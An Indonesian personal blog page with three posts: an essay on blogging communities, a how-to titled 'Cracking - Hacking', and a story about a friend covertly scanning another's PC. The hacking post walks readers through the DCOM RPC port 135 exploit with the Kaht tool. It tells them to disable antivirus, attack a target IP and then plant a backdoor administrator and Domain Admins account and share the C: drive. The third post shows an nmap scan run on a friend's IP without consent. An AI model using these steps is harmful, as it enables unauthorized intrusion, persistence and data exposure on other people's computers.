 Blog For Free!
Archives
Home
2006 January
2005 November
My Links
Thumbs Blog
tBlog
My Profile
Send tMail
My tFriends
My Images
Sponsored
Blog
|
| Komunitas Bloggger |
| 01.13.06 (4:27 am) [edit] |
Siapa sih para Blogger di Internet ini? Rebecca Blood pada Blog-nya Rebecca's Pocket mengatakan bahwa para Blogger mulanya adalah mereka yang telah mengajarkan diri mereka sendiri HTML karena mereka menyenanginya, atau mereka yang setelah seharian bekerja di kantor dot.com mereka, dan kemudian menyisakan waktu luang beberapa jam setiap harinya untuk melakukan web surfing dan memasang hasilnya pada Blog mereka. Mereka adalah apa yang ia sebut orang-orang yang antusias pada web. “These were web enthusiast.” tulisnya. Evan Williams, pendiri Blogger.com berpendapat, “Mayoritas Blogger adalah anak-anak muda atau mahasiswa. Dan banyak diantara mereka yang menggunakannya untuk berkomunikasi dengan teman-temannya.”.
Setiap orang tentu saja dapat membuat Blog-nya masing-masing, tapi seperti yang dikatakan Evan, Blogger saat ini kebanyakan terdiri dari para penulis diary muda yang dinamis, offbeat dan punya opini untuk segala hal. Dalam kata lain mereka adalah generasi yang tidak takut berpendapat dan mengungkapkan pendapat mereka.
Lalu apa gunanya membuat Blog? Apa yang mungkin didapatkan oleh seorang Blogger dalam usaha mengurus Blognya? Rabecca Blood menulis bahwa setelah ia membuat Blog-nya ada dua efek samping yang terjadi yang tidak ia perkirakan sebelumnya. Pertama ia menemukan kembali minatnya semenjak ia mulai membuat Blog. Dan hal kedua yang lebih penting, ia mulai lebih menghargai cara pandangnya sendiri.
Ketika setiap harinya ia mengupdate Blog-nya ia mulai mempertimbangkan opini dan ide-idenya dengan lebih hati-hati dan ia mulai merasakan bahwa perspektifnya adalah unik dan penting untuk disuarakan.
Ketika seorang blogger menuliskan apa yang ada di pikirannya, maka ia akan sering berkonfrontasi dengan pikiran-pikiran dan opininya sendiri. Menulis Blog, atau Blogging, setiap hari akan membuat Blogger menjadi penulis yang lebih percaya diri. Dengan terbiasa mengekspresikan pikirannya pada Blog-nya, seorang Blogger dapat dengan lebih baik mengartikulasikan opininya. Blog bahkan dapat menjadi semacam terapi jiwa.
Tentu saja tidak semua orang adalah seorang Natural-Born Blogger dan dapat memproduksi Blog yang menarik. Di luar sana ada banyak Blogger yang merasa perlu mendokumentasikan diri setiap kali ia bersin, atau anak-anak muda yang menuliskan “Saya bosan” atau “School Sucks!” setiap tiga jam sekali. Amy Jo Kim seorang konsultan dan pengarang buku “Community Building on the Web: Secret Strategies for Succesful Online Communities”, menulis bahwa diperlukan beberapa syarat dasar khusus untuk menjadi seorang Blogger, yaitu kemampuan untuk mengekspresikan diri, keinginan untuk berkomunikasi dengan orang banyak dan minat pribadi pada “keterusterangan”.
Blog dengan caranya sendiri sepertinya membuat hidup, pikiran, opini dan kegiatan Bloggernya lebih mempunyai tujuan dan lebih teratur.
Komunitas Blog dan Budaya Digital
Sejalan dengan kepribadian sebuah Blog, si Blogger atau editor dari sebuah Blog biasanya menerima -bleep- kontribusi-kontribusi link unik dari para penikmat Blog-nya. Beberapa website Blog juga menerima feedback terhadap opini dan komentar dari link suatu artikel atau suatu isu yang dimuat. Blog karenanya -bleep- bersifat interaktif dan membentuk komunitas-komunitas para Blogger yang saling me-link-kan Blog mereka satu sama lain.
Para Blogger diwakili oleh Blog mereka mengekspresikan persahabatan, permusuhan dan seringkali melakukan perdebatan yang mereka muat dalam Blog mereka masing-masing yang kemudian mereka link-an pada opini awal yang mereka komentari. Sebuah percakapan dapat berkembang antara 3 hingga 4 Blog sekaligus sambil merujuk pada jawaban mereka di Blog lain. Kelompok pemujaan pada pribadi Blog tertentu bermunculan, beberapa nama Blogger muncul dan muncul kembali pada update harian Blog seseorang yang diidolakannya, atau nama tersebut muncul pada daftar Blog lainnya yang Blogger itu ikuti.
Blog adalah budaya digital tersendiri dan komunitas elektroniknya bertebaran di internet dan dengan sedemikian banyak Blog di Internet yang selalu mencari website-website yang menarik maka Blog menjadi unik. Seperti yang dituliskan Cameron Barret bahwa Blog saat ini adalah indikator akurat tentang apa yang sedang terjadi di Internet dan di dalam komunitas web. “Blog adalah simbol dari apa yang hebat tentang Internet.” tulisnya.
Keinteraktifan adalah hal lain yang didapatkan dari Blog. Internet bukan saja memungkinkan para Blogger memberikan opini dan komentar mereka tentang suatu isu, tapi juga memungkinkan para pembaca Blog menuliskan opininya -bleep- tentang opini yang ia baca. Pro, kontra, link, tambahan informasi, fakta baru, semuanya kemudian terkandung dalam satu situs Blog besar. Jon Katz dalam tulisannya di Slashdot, Here Come The Weblog, May 1999, menggambarkan Blog sebagai rangkaian evolusi menuju “New Media”. Blog berhasil mendemostrasikan banyak hal tentang budaya interaktif yang disukai orang, terutama anak-anak muda, tulisnya.
Salah satu Blog yang terkenal keinteraktifannya adalah Slashdot yang terkenal dengan semboyannya “News for Nerds. Stuff that Matters” yang dikelola oleh beberapa moderator. Di Slashdot satu opini menghasilkan sekian banyak lagi komentar pro atau kontra yang didukung dengan link yang mereka kontribusikan.
Salah satu Community Blog yang perlu dikunjungi -bleep- adalah MetaFilter. Jika banyak Blog lebih bersifat personal, dikendalikan dan ditulis oleh satu orang, atau mencerminkan pribadi satu seseorang, maka katagori Community Blog, seperti MetaFilter hidup dari kontribusi banyak orang dimana setiap harinya para blogger ini sama-sama mengisi MetaFilter dengan link-link mereka dimana mereka menuliskan komentar-komentar mereka -bleep- di dalamnya. Saat ini ada 13511 anggota aktif di MetaFilter, dimana setiap link yang didonasikan ke MetaFilter tentu saja kemudian bisa dikomentari oleh blogger lainnya lagi. Interaksi adalah salah satu daya tarik kuat dari Blog.
Keinteraktifan Blog adalah salah satu faktor yang menunjang kepopulerannya. Media konvensional yang bersifat satu arah berubah bentuk menjadi tempat dimana suara semua orang mendapat tempat, walau belum tentu berharga. Blog memiliki kebalikan struktur dari media konvensional yang bersifat top-down, membosankan dan arogan, kata Jon Katz. Blog juga adalah contoh tepat evolusi komunitas eleltronik dan kemampuan orang yang secara online membuat media yang mereka kostumisasi sendiri, Jon Katz meneruskan. Media yang dikustomisasi sendiri yang dimaksud, adalah media yang lepas dari kecurigaan media sebagai corong korporasi besar. Blog kemungkinan besar adalah masa depan media yang kita saksikan sekarang.
Cameron Barret mengatakan hal yang sama, bahwa “Big Idea” dari Internet adalah kekuatan informasi yang terdistribusi dan jurnalisme gaya Blog adalah jurnalisme media online dalam tingkat yang lebih tinggi. Rebecca Blood menulis: Dengan komentar-komentar tak kenal takut dan sarkasme mereka Blogger mengingatkan kita betapa seringkali media konvensional terinfeksi oleh vested-interest dalam membuat berita.
Blog dengan kecenderungannya memilih-milih berita dan artikel serta website sesuai dengan preference personal Blogger-nya, membuat seolah The Web telah di-_filter_, The Web telah dijelajahi terdahulu (_pre-surfed_) oleh para Blogger dan kita tinggal menikmati apa yang telah disediakan para Blogger pada Blog yang kita sukai. Para Blogger memilihkan link pada website dan berita yang paling aneh, paling bodoh, hingga paling lengkap atau tidak lengkap dari Web. Jon Katz menyebut Blog, Filtered News. Blog sebagai saringan The Web telah menyelamatkan kita dari kekacauan atau kesentralan informasi online yang sekarang terjadi di Internet.
Scott Rosenberg dalam kolomnya di Salon menuliskan pendapatnya tentang Blog dan para Blogger. Blogger, tulisnya, telah menemukan ceruk (_niche_) baru yang subur dalam lingkungan informasi Web. Mereka memenuhi ramalan para visionaris internet terhadap munculnya jenis baru para jurnalis online, tetapi bedanya daripada mencari berita di dunia nyata, mereka menyiangi internet untuk mendapatkan berita.
Blogger menurut sifat dasarnya bukanlah reporter, mereka berperan sebagai editor dalam Blognya masing-masing dan dalam sebuah dunia dengan budaya media yang telah jenuh, Blog menjadi suara-suara alternatif yang menyuarakan bunyi independen dalam setiap ulasannya. Blog bukanlah obat mujarab untuk budaya yang telah jenuh dengan media, tapi mudah-mudahan Blog adalah salah satu peredanya tulis Rabecca Blood.
|
|
|
| |
| Cracking - Hacking |
| 11.24.05 (9:46 am) [edit] |
Untuk kali ini penulis menggunakan metode exploits port 135 (DCOM RPC) pada windows. Semenjak adanya issue virus W32.Welchia.K yang menyerang port 135 yang lalu penulis merasa penasaran terhadapa artikel ini.
Issue itu dikeluarkan oleh symantec.com dan turut dibenarkan pula oleh pihak Microsoft (Baca Microsoft Security Bulletin MS03-026).Target dari worm ini adalah pc yang menggunakan IIS 5.0 seperti windows 2000 dan XP mungkin juga bisa digunakan pada NT. Untuk mempersingkat waktu saya coba bahas bagaimana cara hacking dengan memanfaatkan exploits tersebut.
Penulis menggunakan tools Kaht dapat anda download diinternet atau dapat anda ambil disini. Karena proses ini menggunakan worm maka anda harus disable anti virus anda. Don't worry ….!!! You'r pc is still safe. Selain itu ganti gateway anda karena akan dapat memadati jalur Internet ke DNS.
Langkah-langkah : 1. Unzip file Kaht.zip 2. Letakkan pada direktori yang anda sukai 3. Masuk kedirektori tempat file berada melalui text mode 4. Tentukan sasaran pc yang mau dihacking missal : IP : 192.168.22.2 Kaht 192.168.22.1 192.168.22.2 Jika hacking anda berhasil maka anda akan menemui tampilan sbb
Dari gambar diatas menunjukkan bahwa anda sudah berhasil memasuki remote dengan login administrator. Fantastis man…..!!!! I love windows, because we can manage them in everywhere.
5. Setelah proses penetrasi berhasil maka anda dapat melakukan apa saja. Dalam hal ini penulis memberikan contoh membuat user setara administrator dan membuat file sharing. 6. Untuk membuat user setara administrator lakukan seperti dibawah ini
C:WINNTsystem32>net user aris mambu /add net user aris mambu /add The command completed successfully.
C:WINNTsystem32>net localgroup Administrators aris /add net localgroup Administrators aris /add The command completed successfully.
C:WINNTsystem32>net group "Domain Admins" aris /add net group "Domain Admins" aris /add The command completed successfully.
7. Sedangkan untuk membuat file share dapat dilakukan seperti berikut.
C:WINNTsystem32>net share c=c: net share c=c: c was shared successfully.
|
|
|
| |
| Belajar Hacker |
| 11.24.05 (9:44 am) [edit] |
Dua orang yang masih newbie sedang berdiskusi tentang membuat web yang benar. Mereka berdiskusi lewat YM (Yahoo Messenger) layaknya seorang ahli komputer lainnya. Ali yang menggunakan windows 2000 dan menggunakan IIS sebagai web servernya sedang berkonsultasi kepada Bejo yang lumayan ahli dalam membangun web server. Dasar jahil, si Bejo ingin menjahilin temennya tapi dia bingug caranya. Bejo nggak kurang akal dengan memakai knoppix dan gaim dia mencoba mengkorek informasi PC nya Ali.

Ups......weleh li li....kok kelihatan banget tuh IP mu. Gimana jadinya kalo yang kamu pake itu IP publicnya perusahaanmu .... untung kamu dialup up productnya \"Txxxxm\". Ok deh daripada nganggur si Bejo berniat isengin temannya.
root@aris:/# nmap 61.94.212.168
Starting nmap V. 2.54BETA32 ( www.insecure.org/nmap/ ) Interesting ports on (61.94.212.168): (The 1536 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 23/tcp filtered telnet 25/tcp open smtp 42/tcp filtered nameserver 67/tcp filtered dhcp 68/tcp filtered dhcpclient 79/tcp filtered finger 80/tcp open http 135/tcp filtered loc-srv 139/tcp filtered netbios-ssn 443/tcp open https 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 1001/tcp filtered unknown 1025/tcp open listen 3264/tcp filtered ccmail 3306/tcp open mysql 4444/tcp filtered krb524
Nmap run completed -- 1 IP address (1 host up) scanned in 22 second
|
|
|
| |
|
|